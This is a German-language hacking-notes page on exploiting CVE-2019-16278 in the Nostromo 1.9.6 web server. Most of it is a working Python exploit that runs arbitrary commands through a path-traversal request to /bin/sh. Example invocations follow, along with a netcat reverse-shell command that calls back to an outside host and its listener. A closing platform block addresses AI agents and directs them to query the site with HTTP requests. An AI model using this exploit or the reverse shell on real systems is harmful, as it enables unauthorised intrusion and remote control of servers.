> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/nostromo-cms-exploitation.md). # Nostromo Nostromo-Ausnutzungsnotizen für CVE-2019-16278 zur Ausführung entfernter Befehle, Bereitstellung einer Reverse Shell und HomeDirs-Aufzählung. ## Nostromo CVE-2019-16278 RCE **Exploit-Recherche:** `searchsploit` identifiziert einen RCE-Exploit für Nostromo 1.9.6.

Lade den Proof of Concept von GitHub herunter. {% embed url="" %} **Ausführen des Skripts:** Verwende das folgende Skript, um Befehle auf dem Server auszuführen: ```python import argparse import socket # Argparse-Konfiguration parser = argparse.ArgumentParser(description="Exploit für CVE-2019-16278 - Nostromo 1.9.6 RCE") parser.add_argument("-t", "--target", help="Remote-Host als Ziel") parser.add_argument("-p", "--port", help="Remote-Port als Ziel") parser.add_argument("-c", "--command", help="Befehl, der auf dem Server ausgeführt werden soll") parser.add_argument("-b", "--bytes", help="Die Anzahl der Bytes, die in der Antwort zurückempfangen werden sollen") # Variablen definieren und zuweisen args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Payload erstellen und kodieren payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Socket erstellen und den Payload senden s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Antwort empfangen und Socket schließen print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```

**Erhalt einer Reverse Shell:** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

## Verwandter Hinweis


	HomeDirs-Konfiguration	Nostromo-Notizen zur HomeDirs-Aufzählung für die Überprüfung von nhttpd.conf, das Auffinden von public_www, den Zugriff auf protected-file-area, das Extrahieren von Backup-Archiven und die Wiederherstellung von SSH-Schlüsseln.	/pages/16e60bf167384bfd557352597193765cbc9f7621

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

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HomeDirs-Konfiguration